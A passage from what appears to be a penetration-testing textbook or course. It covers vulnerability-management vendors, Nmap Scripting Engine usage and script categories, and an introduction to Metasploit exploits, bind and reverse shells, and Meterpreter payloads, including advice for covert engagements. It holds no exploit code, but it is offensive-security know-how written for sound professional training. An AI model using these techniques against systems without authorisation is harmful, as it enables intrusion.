cloud-based, perimeter-focused service.

Qualys

Qualys (Redwood Shores, California) provides Qualys Vulnerability Management (VM) as a cloud-based
service, as well as Web Application Scanning (WAS) and Web Application Firewall (WAF) cloud services.
Qualys is the most visible provider of vulnerability assessment as a service.

Rapid7

Rapid7 (Boston, Massachusetts) provides the Nexpose vulnerability management solution with an on-
premises delivery model and an optional cloud-based service for perimeter scanning. Rapid7 can also
provide managed services around its solution. The company also offers Metasploit for penetration
testing, Mobilisafe for mobile security management, ControlsInsight for endpoint and server controls
assessment, and UserInsight for security incident detection and investigation.

Saint

Saint (Bethesda, Maryland) offers the Saint 8 Security Suite as an on-premises or cloud-based solution. It
integrates penetration testing and social engineering components into the vulnerability assessment
suite.

Tenable Network Security

Tenable Network Security (Columbia, Maryland) provides on-premises and cloud-based vulnerability
management through Nessus Enterprise and vulnerability scanning through Nessus and Passive
Vulnerability Scanner (PVS), as well as continuous monitoring through SecurityCenter Continuous View.

Tripwire
Tripwire (Portland, Oregon) acquired nCircle, a vulnerability management vendor, in 2013. With this
acquisition, Tripwire offers Tripwire IP360 as an on-premises or cloud-based VM product and Tripwire
PureCloud as a cloud-based VM service. Tripwire also offers Tripwire Enterprise for file integrity
monitoring. Tripwire Enterprise and Tripwire Log Center can integrate with Tripwire IP360.

Mastering NMAP script engine

The Nmap Scripting Engine (NSE) is one of Nmap's most powerful and flexible features. It allows users to
write (and share) simple scripts to automate a wide variety of networking tasks. Those scripts are then
executed in parallel with the speed and efficiency you expect from Nmap. Users can rely on the growing
and diverse set of scripts distributed with Nmap, or write their own to meet custom needs.

We designed NSE to be versatile, with the following tasks in mind:

Network discovery

This is Nmap's bread and butter. Examples include looking up whois data based on the target domain,
querying ARIN, RIPE, or APNIC for the target IP to determine ownership, performing identd lookups on
open ports, SNMP queries, and listing available NFS/SMB/RPC shares and services.

More sophisticated version detection

The Nmap version detection system (Chapter 7, Service and Application Version Detection) is able to
recognize thousands of different services through its probe and regular expression signature based
matching system, but it cannot recognize everything. For example, identifying the Skype v2 service
requires two independent probes, which version detection isn't flexible enough to handle. Nmap could
also recognize more SNMP services if it tried a few hundred different community names by brute force.
Neither of these tasks are well suited to traditional Nmap version detection, but both are easily
accomplished with NSE. For these reasons, version detection now calls NSE by default to handle some
tricky services. This is described in the section called “Version Detection Using NSE”.

Vulnerability detection

When a new vulnerability is discovered, you often want to scan your networks quickly to identify
vulnerable systems before the bad guys do. While Nmap isn't a comprehensive vulnerability scanner,
NSE is powerful enough to handle even demanding vulnerability checks. Many vulnerability detection
scripts are already available and we plan to distribute more as they are written.

Backdoor detection

Many attackers and some automated worms leave backdoors to enable later reentry. Some of these can
be detected by Nmap's regular expression based version detection. For example, within hours of the
MyDoom worm hitting the Internet, Jay Moran posted an Nmap version detection probe and signature
so that others could quickly scan their networks for MyDoom infections. NSE is needed to reliably detect
more complex worms and backdoors.

Vulnerability exploitation

As a general scripting language, NSE can even be used to exploit vulnerabilities rather than just find
them. The capability to add custom exploit scripts may be valuable for some people (particularly
penetration testers), though we aren't planning to turn Nmap into an exploitation framework such as
Metasploit.

These listed items were our initial goals, and we expect Nmap users to come up with even more
inventive uses for NSE.

Scripts are written in the embedded Lua programming language, version 5.2. The language itself is well
documented in the books Programming in Lua, Second Edition and Lua 5.1 Reference Manual. The
reference manual, updated for Lua 5.2, is also freely available online, as is the first edition of
Programming in Lua. Given the availability of these excellent general Lua programming references, this
document only covers aspects and extensions specific to Nmap's scripting engine.

NSE is activated with the -sC option (or --script if you wish to specify a custom set of scripts) and results
are integrated into Nmap normal and XML output.

A typical script scan is shown in the Example 9.1. Service scripts producing output in this example are
ssh-hostkey, which provides the system's RSA and DSA SSH keys, and rpcinfo, which queries portmapper
to enumerate available services. The only host script producing output in this example is smb-os-
discovery, which collects a variety of information from SMB servers. Nmap discovered all of this
information in a third of a second.

Usage and Examples

While NSE has a complex implementation for efficiency, it is strikingly easy to use. Simply specify -sC to
enable the most common scripts. Or specify the --script option to choose your own scripts to execute by
providing categories, script file names, or the name of directories full of scripts you wish to execute. You
can customize some scripts by providing arguments to them via the --script-args and --script-args-file
options. The --script-help shows a description of what each selected script does. The two remaining
options, --script-trace and --script-updatedb, are generally only used for script debugging and
development. Script scanning is also included as part of the -A (aggressive scan) option.

Script scanning is normally done in combination with a port scan, because scripts may be run or not run
depending on the port states found by the scan. With the -sn option it is possible to run a script scan
without a port scan, only host discovery. In this case only host scripts will be eligible to run. To run a
script scan with neither a host discovery nor a port scan, use the -Pn -sn options together with -sC or --
script. Every host will be assumed up and still only host scripts will be run. This technique is useful for
scripts like whois that only use the remote system's address and don't require it to be up.

Scripts are not run in a sandbox and thus could accidentally or maliciously damage your system or
invade your privacy. Never run scripts from third parties unless you trust the authors or have carefully
audited the scripts yourself.

Script Categories

NSE scripts define a list of categories they belong to. Currently defined categories are auth, broadcast,
brute, default. discovery, dos, exploit, external, fuzzer, intrusive, malware, safe, version, and vuln.
Category names are not case sensitive. The following list describes each category.

auth

These scripts deal with authentication credentials (or bypassing them) on the target system. Examples
include x11-access, ftp-anon, and oracle-enum-users. Scripts which use brute force attacks to determine
credentials are placed in the brute category instead.

broadcast

Scripts in this category typically do discovery of hosts not listed on the command line by broadcasting on
the local network. Use the newtargets script argument to allow these scripts to automatically add the
hosts they discover to the Nmap scanning queue.

brute

These scripts use brute force attacks to guess authentication credentials of a remote server. Nmap
contains scripts for brute forcing dozens of protocols, including http-brute, oracle-brute, snmp-brute,
etc.

default

These scripts are the default set and are run when using the -sC or -A options rather than listing scripts
with --script. This category can also be specified explicitly like any other using --script=default. Many
factors are considered in deciding whether a script should be run by default:

Speed

A default scan must finish quickly, which excludes brute force authentication crackers, web spiders, and
any other scripts which can take minutes or hours to scan a single service.
Usefulness

Default scans need to produce valuable and actionable information. If even the script author has trouble
explaining why an average networking or security professional would find the output valuable, the script
should not run by default.

Verbosity

Nmap output is used for a wide variety of purposes and needs to be readable and concise. A script
which frequently produces pages full of output should not be added to the default category. When
there is no important information to report, NSE scripts (particularly default ones) should return
nothing. Checking for an obscure vulnerability may be OK by default as long as it only produces output
when that vulnerability is discovered.

Reliability

Many scripts use heuristics and fuzzy signature matching to reach conclusions about the target host or
service. Examples include sniffer-detect and sql-injection. If the script is often wrong, it doesn't belong in
the default category where it may confuse or mislead casual users. Users who specify a script or
category directly are generally more advanced and likely know how the script works or at least where to
find its documentation.

Intrusiveness

Some scripts are very intrusive because they use significant resources on the remote system, are likely
to crash the system or service, or are likely to be perceived as an attack by the remote administrators.
The more intrusive a script is, the less suitable it is for the default category. Default scripts are almost
always in the safe category too, though we occasionally allow intrusive scripts by default when they are
only mildly intrusive and score well in the other factors.

Privacy

Some scripts, particularly those in the external category described later, divulge information to third
parties by their very nature. For example, the whois script must divulge the target IP address to regional
whois registries. We have also considered (and decided against) adding scripts which check target SSH
and SSL key fingerprints against Internet weak key databases. The more privacy-invasive a script is, the
less suitable it is for default category inclusion.

We don't have exact thresholds for each of these criteria, and many of them are subjective. All of these
factors are considered together when making a decision whether to promote a script into the default
category. A few default scripts are identd-owners (determines the username running remote services
using identd), http-auth (obtains authentication scheme and realm of web sites requiring
authentication), and ftp-anon (tests whether an FTP server allows anonymous access).

discovery
These scripts try to actively discover more about the network by querying public registries, SNMP-
enabled devices, directory services, and the like. Examples include html-title (obtains the title of the root
path of web sites), smb-enum-shares (enumerates Windows shares), and snmp-sysdescr (extracts
system details via SNMP).

dos

Scripts in this category may cause a denial of service. Sometimes this is done to test vulnerability to a
denial of service method, but more commonly it is an undesired by necessary side effect of testing for a
traditional vulnerability. These tests sometimes crash vulnerable services.

exploit

These scripts aim to actively exploit some vulnerability.

external

Scripts in this category may send data to a third-party database or other network resource. An example
of this is whois, which makes a connection to whois servers to learn about the address of the target.
There is always the possibility that operators of the third-party database will record anything you send
to them, which in many cases will include your IP address and the address of the target. Most scripts
involve traffic strictly between the scanning computer and the client; any that do not are placed in this
category.

fuzzer

This category contains scripts which are designed to send server software unexpected or randomized
fields in each packet. While this technique can useful for finding undiscovered bugs and vulnerabilities in
software, it is both a slow process and bandwidth intensive. An example of a script in this category is
dns-fuzz, which bombards a DNS server with slightly flawed domain requests until either the server
crashes or a user specified time limit elapses.

intrusive

These are scripts that cannot be classified in the safe category because the risks are too high that they
will crash the target system, use up significant resources on the target host (such as bandwidth or CPU
time), or otherwise be perceived as malicious by the target's system administrators. Examples are http-
open-proxy (which attempts to use the target server as an HTTP proxy) and snmp-brute (which tries to
guess a device's SNMP community string by sending common values such as public, private, and cisco).
Unless a script is in the special version category, it should be categorized as either safe or intrusive.

malware

These scripts test whether the target platform is infected by malware or backdoors. Examples include
smtp-strangeport, which watches for SMTP servers running on unusual port numbers, and auth-spoof,
which detects identd spoofing daemons which provide a fake answer before even receiving a query.
Both of these behaviors are commonly associated with malware infections.

safe

Scripts which weren't designed to crash services, use large amounts of network bandwidth or other
resources, or exploit security holes are categorized as safe. These are less likely to offend remote
administrators, though (as with all other Nmap features) we cannot guarantee that they won't ever
cause adverse reactions. Most of these perform general network discovery. Examples are ssh-hostkey
(retrieves an SSH host key) and html-title (grabs the title from a web page). Scripts in the version
category are not categorized by safety, but any other scripts which aren't in safe should be placed in
intrusive.

version

The scripts in this special category are an extension to the version detection feature and cannot be
selected explicitly. They are selected to run only if version detection (-sV) was requested. Their output
cannot be distinguished from version detection output and they do not produce service or host script
results. Examples are skypev2-version, pptp-version, and iax2-version.

vuln

These scripts check for specific known vulnerabilities and generally only report results if they are found.
Examples include realvnc-auth-bypass and afp-path-vuln.

Script Types and Phases

NSE supports four types of scripts, which are distinguished by the kind of targets they take and the
scanning phase in which they are run. Individual scripts may support multiple types of operation.

Prerule scripts

These scripts run before any of Nmap's scan phases, so Nmap has not collected any information about
its targets yet. They can be useful for tasks which don't depend on specific scan targets, such as
performing network broadcast requests to query DHCP and DNS SD servers. Some of these scripts can
generate new targets for Nmap to scan (only if you specify the newtargets NSE argument). For example,
dns-zone-transfer can obtain a list of IPs in a domain using a zone transfer request and then
automatically add them to Nmap's scan target list. Prerule scripts can be identified by containing a
prerule function (see the section called “Rules”).

Host scripts

Scripts in this phase run during Nmap's normal scanning process after Nmap has performed host
discovery, port scanning, version detection, and OS detection against the target host. This type of script
is invoked once against each target host which matches its hostrule function. Examples are whois, which
looks up ownership information for a target IP, and path-mtu which tries to determine the maximum IP
packet size which can reach the target without requiring fragmentation.

Service scripts

These scripts run against specific services listening on a target host. For example, Nmap includes more
than 15 http service scripts to run against web servers. If a host has web servers running on multiple
ports, those scripts may run multiple times (one for each port). These are the most commong Nmap
script type, and they are distinguished by containing a portrule function for deciding which detected
services a script should run against.

Postrule scripts

These scripts run after Nmap has scanned all of its targets. They can be useful for formatting and
presenting Nmap output. For example, ssh-hostkey is best known for its service (portrule) script which
connects to SSH servers, discovers their public keys, and prints them. But it also includes a postrule
which checks for duplicate keys amongst all of the hosts scanned, then prints any that are found.
Another potential use for a postrule script is printing a reverse-index of the Nmap output—showing
which hosts run a particular service rather than just listing the services on each host. Postrule scripts are
identified by containing a postrule function.

Many scripts could potentially run as either a prerule or postrule script. In those cases, we recommend
using a prerule for consistency.

Command-line Arguments

These are the five command-line arguments specific to script scanning:

-sC

Performs a script scan using the default set of scripts. It is equivalent to --script=default. Some of the
scripts in this default category are considered intrusive and should not be run against a target network
without permission.

--script <filename>|<category>|<directory>|<expression>[,...]

Runs a script scan using the comma-separated list of filenames, script categories, and directories. Each
element in the list may also be a Boolean expression describing a more complex set of scripts. Each
element is interpreted first as an expression, then as a category, and finally as a file or directory name.
The special argument all makes every script in Nmap's script database eligible to run. The all argument
should be used with caution as NSE may contain dangerous scripts including exploits, brute force
authentication crackers, and denial of service attacks.
Each element in the script expression list may be prefixed with a + character to force the given script(s)
to run regardless of the conditions in their portrule or hostrule functions. This is generally only done by
advanced users in special cases. For example, you might want to do a configuration review on a bunch
of MS SQL servers, some of which are running on nonstandard ports. Rather than slow the Nmap scan
by running extensive version detection (-sV --version-all) so that Nmap will recognize the ms-sql service,
you can force the ms-sql-config script to run against all the targetted hosts and ports by specifying --
script +ms-sql-config.

File and directory names may be relative or absolute. Absolute names are used directly. Relative paths
are searched for in the scripts subdirectory of each of the following places until found:

--datadir

$NMAPDIR

~/.nmap (not searched on Windows)

the directory containing the nmap executable

the directory containing the nmap executable, followed by ../share/nmap

NMAPDATADIR

the current directory.

When a directory name is given, Nmap loads every file in the directory whose name ends with .nse. All
other files are ignored and directories are not searched recursively. When a filename is given, it does
not have to have the .nse extension; it will be added automatically if necessary.

See the section called “Script Selection” for examples and a full explanation of the --script option.

Nmap scripts are stored in a scripts subdirectory of the Nmap data directory by default (see Chapter 14,
Understanding and Customizing Nmap Data Files). For efficiency, scripts are indexed in a database
stored in scripts/script.db, which lists the category or categories in which each script belongs. The
argument all will execute all scripts in the Nmap script database, but should be used cautiously since
Nmap may contain exploits, denial of service attacks, and other dangerous scripts.

--script-args <args>

Provides arguments to the scripts. See the section called “Arguments to Scripts” for a detailed
explanation.

--script-args-file <filename>

This option is the same as --script-args except that you pass the arguments in a file rather than on the
command-line. See the section called “Arguments to Scripts” for a detailed explanation.
--script-help <filename>|<category>|<directory>|<expression>|all[,...]

--script-trace

This option is similar to --packet-trace, but works at the application level rather than packet by packet. If
this option is specified, all incoming and outgoing communication performed by scripts is printed. The
displayed information includes the communication protocol, source and target addresses, and the
transmitted data. If more than 5% of transmitted data is unprintable, hex dumps are given instead.
Specifying --packet-trace enables script tracing too.

--script-updatedb

This option updates the script database found in scripts/script.db which is used by Nmap to determine
the available default scripts and categories. It is only necessary to update the database if you have
added or removed NSE scripts from the default scripts directory or if you have changed the categories of
any script. This option is used by itself without arguments: nmap --script-updatedb.

Some other Nmap options have effects on script scans. The most prominent of these is -sV. A version
scan automatically executes the scripts in the version category. The scripts in this category are slightly
different from other scripts because their output blends in with the version scan results and they do not
produce any script scan output.

Another option which affects the scripting engine is -A. The aggressive Nmap mode implies the -sC
option.

Script Selection

The --script option takes a comma-separated list of categories, filenames, and directory names. Some
simple examples of its use:

nmap --script default,safe

Loads all scripts in the default and safe categories.

nmap --script smb-os-discovery

Loads only the smb-os-discovery script. Note that the .nse extension is optional.

nmap --script default,banner,/home/user/customscripts

Loads the script in the default category, the banner script, and all .nse files in the directory
/home/user/customscripts.
When referring to scripts from script.db by name, you can use a shell-style ‘*’ wildcard.

nmap --script "http-*"

Loads all scripts whose name starts with http-, such as http-auth and http-open-proxy. The argument to
--script had to be in quotes to protect the wildcard from the shell.

More complicated script selection can be done using the and, or, and not operators to build Boolean
expressions. The operators have the same precedence as in Lua: not is the highest, followed by and and
then or. You can alter precedence by using parentheses. Because expressions contain space characters it
is necessary to quote them.

nmap --script "not intrusive"

Loads every script except for those in the intrusive category.

nmap --script "default or safe"

This is functionally equivalent to nmap --script "default,safe". It loads all scripts that are in the default
category or the safe category or both.

nmap --script "default and safe"

Loads those scripts that are in both the default and safe categories.

nmap --script "(default or safe or intrusive) and not http-*"

Loads scripts in the default, safe, or intrusive categories, except for those whose names start with http-.

Names in a Boolean expression may be a category, a filename from script.db, or all. A name is any
sequence of characters not containing ‘ ’, ‘,’, ‘(’, ‘)’, or ‘;’, except for the sequences and, or, and not,
which are operators.

Arguments to Scripts

Arguments may be passed to NSE scripts using the --script-args option. The arguments describe a table
of key-value pairs and possibly array values. The arguments are provided to scripts as a table in the
registry called nmap.registry.args, though they are normally accessed through the
stdnse.get_script_args function.
The syntax for script arguments is similar to Lua's table constructor syntax. Arguments are a comma-
separated list of name=value pairs. Names and values may be strings not containing whitespace or the
characters ‘{’, ‘}’, ‘=’, or ‘,’. To include one of these characters in a string, enclose the string in single or
double quotes. Within a quoted string, ‘\’ escapes a quote. A backslash is only used to escape quotation
marks in this special case; in all other cases a backslash is interpreted literally.

Values may also be tables enclosed in {}, just as in Lua. A table may contain simple string values, for
example a list of proxy hosts; or more name-value pairs, including nested tables. Nested subtables are
commonly used to pass arguments specific to one script, in a table named after the script. That is what
is happening with the whois table in the example below.

Script arguments are often qualified with the relevant script name so that a user doesn't unintentionally
affect multiple scripts with a single generic name. For example, you can set the timeout for responses to
the broadcast-ping script (and only that script) by setting broadcast-ping.timeout to the number of
milliseconds you're willing to wait. Sometimes, however, you want a script argument applied more
widely. If you remove the qualification and specify just timeout=250, you will be setting the value for
more than a dozen scripts in addition to broadcast-ping. You can even combine qualified and unqualified
arguments, and the most specific match takes precedence. For example, you could specify rlogin-
brute.timeout=20000,timeout=250. In that case, the timeout will be 20,000 for the rlogin-brute scripts,
and 250 for all other scripts which support this variable (broadcast-ping, lltd-discovery, etc.)

Rather than pass the arguments on the command line with --script-args, you may store them in a file
(separated by commas or newlines) and specify just the file name with --script-args-file. Options
specified with --script-args on the command-line take precedence over those given in a file. The
filename may be given as an absolute path or relative to Nmap's usual search path (NMAPDIR, etc.)

Here is a typical Nmap invocation with script arguments:

nmap -sC --script-args 'user=foo,pass=",{}=bar",whois={whodb=nofollow+ripe},xmpp-

info.server_name=localhost'

Notice that the script arguments are surrounded in single quotes. For the Bash shell, this prevents the
shell from interpreting the double quotes and doing automatic string concatenation. Naturally, different
shells may require you to escape quotes or to use different quotes. See your relevant manual. The
command results in this Lua table:

nmap.registry.args = {

user = "foo",

pass = ",{}=bar",

whois = {

whodb = "nofollow+ripe"
 },

xmpp-info.server_name="localhost"

While you could access the values directly from nmap.registry.args, it is normally better to use the
stdnse.get_script_args function like this:

local server_name = stdnse.get_script_args("xmpp-info.server_name")

All script arguments share a global namespace, the nmap.registry.args table. For this reason, short or
ambiguous names like user are not recommended. Some scripts prefix their arguments with their script
name, like smtp-open-relay.domain. Others, like whois in the example above, take their arguments in a
table named after the script. Arguments used by libraries, which can affect many scripts, usually have
names beginning with the name of the library, like smbuser and snmpcommunity.

The online NSE Documentation Portal at https://nmap.org/nsedoc/ lists the arguments that each script
accepts.

Complete Examples

nmap -sC example.com

A simple script scan using the default set of scripts.

nmap -sn -sC example.com

A script scan without a port scan; only host scripts are eligible to run.

nmap -Pn -sn -sC example.com

A script scan without host discovery or a port scan. All hosts are assumed up and only host scripts are
eligible to run.

nmap --script smb-os-discovery --script-trace example.com

Execute a specific script with script tracing.

nmap --script snmp-sysdescr --script-args snmpcommunity=admin example.com

Run an individual script that takes a script argument.

nmap --script mycustomscripts,safe example.com

Execute all scripts in the mycustomscripts directory as well as all scripts in the safe category.

Chapter 4 Exploitation
Lecture 4.1 Basic exploitation. Metasploit Framework
Exploitation
As defined by the National Institute of Science and Technology (NIST), Special Publication 800–30,
Appendix, B, page B-13, a vulnerability is a “weakness in an information system, system security
procedures, internal controls, or implementation that could be exploited by a threat source;” however,
this definition is too broadly scoped for use when discussing exploitation and requires further
explanation. A vulnerability is caused by an “error.” The error can exist in multiple places throughout the
information system AND through the humans that either use or administer the networks and computers
on a daily basis. Vulnerabilities with the information system can exist inside or outside of the network,
lay dormant in poorly coded and unchecked software, generated through improper security controls
(more specifically, through haphazardly configured applications and network devices), or outside of the
technical network through various social means that exploit the users of the information system.

Consider for a moment that the word vulnerability is synonymous with the word weakness. Exploitation
is simply using a weakness to leverage access into an information system or render is useless via a denial
of service. The only limit of the exploitation from an attacker is the breakdown of pure drive and
willpower to continue fighting against the security measures in place protecting the information system.
The best tool a penetration tester has is his or her brain. Remember that there are many doors, or
points of entry, into a system. If you find that one door is closed, move on to the next. Exploitation is
one of the hardest and most coveted talents of a penetration tester. It takes time, knowledge, and great
persistence to learn all of the attack types for a single attack vector.

Attack Vectors Versus Attack Types

With regard to attack vectors and types, there is a fuzzy grey line that is often misrepresented and
misunderstood. These two terms can at times appear to be synonymous with one another; however,
clarification and separation are required to further understand how exploits are classified and used
appropriately. Stepping outside the field of electronics for a moment consider this: a vector is a means
of transmission and much like a mosquito, tick, or spider, the type of pathogen (or virus) is different, but
the delivery method is still a single byte. Each type of pathogen carries out different sets of instructions
that may be similar in nature, but still remain distinctive in one way or another. With regard to
information systems, attack vectors are generic categories for classifying subsets or groups of attack
types within each category.
Understanding not only what type of attack but by what means the attack can take place from is the
foundation of exploitation. In the following sections, a small list of tools is provided for different types of
attacks with special emphasis on the Metasploit Framework. Without understanding how, where, and
when to apply the tools, a great effort will be put forth with little return during a pentest or security
assessment.

Local Exploits
As the title suggest, “local” exploits must be executed locally from the computer, network device, or
mobile phone itself and from an established session. In other words, if the pentester is sitting physically
at the terminal logged into the computer or tunneled in through an SSH, virtual private network (VPN)
connection, or remote desktop protocol (RDP) session then the exploit is categorized as local. Local
exploits can be used to raise privileges, cause DoS, steal information, or upload malicious files. It is
important to remember that local exploits cannot be executed from across the network, other than
those connections that appear to be local as described earlier. Trying to use a local exploit without the
code being executed on the system that has the vulnerability will cause the code to fail, possibly setting
off alarms to administrators and wasting the testers time.

There is one common misunderstanding about how local exploits can truly be leveraged. Local exploits
do not have to be executed by an attacker. Through careful social engineering or other deceptive
means, an attacker or a penetration tester can trick a locally logged-on user to execute a local exploit. A
prime example of this tactic is a Trojan backdoor hidden inside of a seemingly benign PDF document or
macro code embedded into an Microsoft Excel spreadsheet. A USB device with an auto-launched code
dropped conveniently outside of an office building waiting to be picked up and plugged in by an
unsuspecting user can also cause a local exploit to be carried out. The possibilities are only limited by
the imagination of the attacker or penetration tester. Many times, when remote exploitation fails and a
connection cannot be made from the outside in, local exploits can be deployed in this manner to
establish a connection from the inside out.

Searching for Local Exploits

There are literally thousands of local exploits possible to leverage, but choosing the right ones may seem
to be a little difficult at first. Rapid7’s Metasploit has simplified this process with a program called
Searchsploit, and due to the nature of Kali Linux’s file system on Debian 7, the process is even easier.
Searching for exploits within the Metasploit Framework’s command line interface will be addressed
later in this chapter. Examining how to use Seachsploit to find exploits within the Metasploit exploits
database from a terminal window.

Searchsploit

• Open a terminal window.

• Type, “searchsploit” and up to three keywords.

Example: root@kali~# searchsploit local windows iis (Figure 9.1).

image

From the search above a single result was returned, using Searchsploit is that simple. The search
returned a dynamically linked library vulnerability for a Windows 32-bit system running IIS and utilizing
PHP version 5.2.0 or earlier. If the local exploit is executed, a buffer overflow vulnerability will be
triggered and cause a DoS on the host. To learn more information about the exploit(s) pipe, the output
of a locate command is shown in Figure 9.2.

Remote Exploits

An exploit that targets a computer, network device, mobile phone, or service from outside of the base
operating system is considered a remote exploit, and these are sometimes referred to as network
exploits. No matter what it is called, when the exploit is executed, if it’s not local, it’s remote. Remote
exploitation does not just target computers, servers, and networking equipment. Remote exploits
include attacking web services and applications, databases, printers, mobile phones, and anything that
connects to a network. As more electronic devices become network enabled, the possibilities of
advanced attacks also grow. For instance, gaming systems such as Sony’s PlayStation, Microsoft’s Xbox,
smart televisions, tablets, music players, DVD players, and the list goes on. Just think about the
computer system embedded in new cars. If it’s electronic or attached to a network, someone,
somewhere in the world is already trying to hack it, possibly only for fun but quite possibly for profit.
Remote exploits will be covered later in this book while exploring the Metasploit Framework.

An Overview of Metasploit

In arguably one of the most powerful tools in the pentester’s toolkit, Metasploit harnesses the power
from years of knowledge and painstaking trials of hackers, penetration tester, governments, and
researchers from around the globe comprising different parts of the computer security community.
From the darkest of black hats to the world’s most renowned white hats, and everywhere in between,
no matter their path Metasploit has been there at some point in time. Rapid7, headquartered in Boston,
MA, has spared no expense or free CPU cycle in generating a collection of tools within a solid framework
that facilitates all steps of the penetration testing methodology from start to finish. For those
professionals actively working in the field, Metasploit also offers report templates and government level
compliance checking. If this is your first time using Metasploit, prepare to be amazed.

A Brief History

In the beginning, there was nothing… a random void and chaos of tools strewn about the far reaches of
the tangled world-wide-web. Scattered messages and pieces of random code lay in the shadows of
hidden bulletin board systems. Backdoor deals and geek free-for-alls roamed freely amidst the mundane
noobs and wannabees. This was a place where phreakers were in charge before the NSA could tie its
shoes or even count to 2600, the wild west of security world; riddled with spies and full of outlaws.....
Well, not quite; however, not very far from the truth.

In late 2003, HD Moore, the inventor and genius of the Metasploit Framework, released the then perl-
based first version with a mere 11 exploits to concentrate his efforts of parsing through massive lines of
bugs, exploit code, and publicly available vulnerabilities into a single, easy-to-use program. Version 2,
released in 2004, touted 19 exploits but included close to 30 payloads. With the release of version 3 in
2007, Moore’s project exploded and quickly became the de facto standard and necessary tool of choice
for penetration testers all over the world. Today Metasploit is up to version 4.7 and integrated as a ruby-
based program that comes standard on Kali Linux. At the time of this writing, Metasploit offers over
1080 exploits, 675 auxiliary modules, 275 payloads, 29 different types of encoders, and aims its sights on
all platforms, Microsoft, Linux, and Mac alike. There is no bias from the Rapid7 team and no protocol
will go unchecked.

Professional Versus Express Editions

Metasploit currently comes in two versions. The express framework, which is installed by default, is a
free version and is geared toward researchers, students, and private use. For professional penetration
testers in the commercial and government sectors, the professional version offers reporting, group
collaboration, compliancy checking, and advanced wizards for precision and control. The professional
version does come at a cost, so unless Metasploit is being used for anything other than personal usage,
there isn’t a real need for it. The exploit modules are the same in both the professional and express
versions.

Nexpose and Compliance

Security assessors know the rigorous and tedious workings of policy and compliance inside and out.
Nexpose allows an assessor to simplify the tasks and risk management associated with assessing the
security stature of a company. Nexpose does more than just scan for vulnerabilities with Metasploit.
After an initial scan with Nexpose, the vulnerabilities discovered are analyzed and weighed into risk
categories, added to an impact analysis, and then reverified for reporting. Nexpose not only checks for
vulnerabilities, but also checks for compliance controls such as those associated with the Payment Card
Industry Data Security Standard (PCI DSS), the Health Insurance Portability and Accountability Act
(HIPPA), the North American Electrical Reliability Corporation Standards (NERC), the Federal Information
Security Management Act of 2002 (FISMA), the United States Government Configuration Baseline
(USGCB), the Federal Desktop Core Configuration (FDCC), the Security Content Automation Protocol
(SCAP), and more.

Overt Versus Covert

Overt is working with the organization to facilitate penetration testing and mapping of the security
posture. In overt penetration testing, the security tester can launch wave after wave of attacks against
the organization because there is no fear about being blocked or raising any alarms. After all, in overt
missions, the organization knows that the security tester is there and is generally willing to help with all
aspects of the testing event. One of the biggest advantages of overt test is that the security tester will
be able to gain insider knowledge of the system and its core functions to leverage while testing. The
downfall of overt testing is that the scope may be limited and advanced methodologies may have to be
communicated to the customer prior to launch. At times, this can have a severe impact on the time
necessary to complete a thorough test.

Covert is a testing against an organization in which limited personnel have knowledge of any testing
operations. In the case of covert testing, a very limited number of members within the organization,
usually an IT manager, security manager, or above, will know about the security testing beforehand. A
penetration tester needs to be skilled and proficient with the massive amount of tools in his arsenal to
maintain a sense of silence on the wire. These types of security testing are not just conducted to test the
vulnerabilities of the network’s security stature, but also to test possible computer emergency response
teams (CERT) that may be in place as well as the efficiency of intrusion detection systems (IDS). Note
that an event may start off as a covert mission, but may transition to an overt mission part way through
for various reasons such as a high number of critical vulnerabilities or if the security tester presence is
compromised.

The Basic Framework

Metasploit is a modular system. To better understand the framework, it will help view the Metasploit
Framework as if it were a vehicle. The framework, much like the chassis of James Bond’s well
maintained Aston Martin, provides a housing for all of modules that actually fuel the car. HD Moore,
much like “Q” from the James Bond films, has stocked the nooks and crannies around the engine with
an arsenal of goodies. If one of the modules within the framework becomes damaged or is removed, the
vehicle can still function and continue to unleash wave after wave of attack.

The framework breaks down into the module types:

1. Exploit Modules
3. Auxiliary Modules
4. Payloads
5. Listeners
6. Shellcode

Applications that interface with the Metasploit framework could be considered a sixth category, such as
Armitage; however, these are not part of the actual framework itself. Just because James Bond can
control his vehicle from his watch doesn’t mean the vehicle needs the owner to wear the wrist watch to
operate it.

Exploit Modules

Exploit modules are prepackaged pieces of code within the database that when run against a victim
computer will attempt to leverage a vulnerability on the local or remote system compromising the
system and allowing for DoS, disclosure of sensitive information, or the upload of a specially crafted
payload module such as Meterpreter shell or other type of call back shell.

Auxiliary Modules

Auxiliary modules, unlike exploit modules, do not require the use of a payload to run. These types of
modules include useful programs such as scanners, fuzzers, and SQL injection tools. Some of the tools
within the auxiliary directory are extremely powerful and should be used with caution. Penetration
testers use the plethora of scanners in the auxiliary directory to gather a deep understanding of the
system to be attacked and then transition to exploit modules.

Payloads

If James Bond’s Aston Martin is a reference for the Metasploit Framework itself, the exploit and auxiliary
modules would be akin to the rocket launchers and flame throwers under the hood. In this model,
payloads would be the specialized communications equipment that can be attached to the target to
maintain covert communications and tracking. While using an exploit against a vulnerable machine, a
payload is generally attached to the exploit before its execution. This payload contains the set of
instructions that the victim’s computer is to carry out after compromise. Payloads come in many
different flavors and can range from a few lines of code to small applications such as the Meterpreter
shell. One should not just automatically jump to the Meterpreter shell. Metasploit contains over 200
different payloads. There are payloads for NetCat, dynamic link library (DLL) injection, user
management, shells, and more. Thinking like a spy might give the security tester a proper mindset when
it comes to payload selection. The tester needs to contemplate what the overall goal is after the exploit
has succeeded. Does the code need to lay dormant until called? Does the code executed need to call
back to the attacker for further instructions? Does the code need to simply execute a series of shutdown
commands? Render the victimized system useless to the company? The most common payloads are
categorized into bind shells and reverse shells.

Bind Shells

These types of shell lay dormant and listen for an attacker to connect or send instructions. If a
penetration tester knows that there is going to be direct network access to the system later in the
testing event and does not want to raise attention, then bind shells could be the way to go. Bind shells
are not a good choice for victim machines that are behind a firewall that do not have direct network
access into the machine.

Reverse Shells

Reverse shells call home to the security tester for immediate instruction and interaction. If the
compromised machine executes the exploit with a reverse payload, then a tester will be presented with
a shell to access the machine as if they were sitting at the keyboard on the victim’s machine.

Meterpreter Shell

The Meterpreter shell, a special type of shell, is the bread and butter of Metasploit. Rapid7 continually
develops the Meterpreter shell with an incredibly lethal mini-arsenal on its own. The Meterpreter shell
can be added as a payload that is either a bind shell or reverse shell. The use of Meterpreter shell is
discussed in detail later in this chapter.

Payload selection is often overlooked for most new security testers because there is a push to get “root”
as fast as possible and gain access through a Meterpreter shell. Sometimes, this is not optimal and a
deep thought process is necessary to exploit a vulnerability. During a covert penetration test, going in
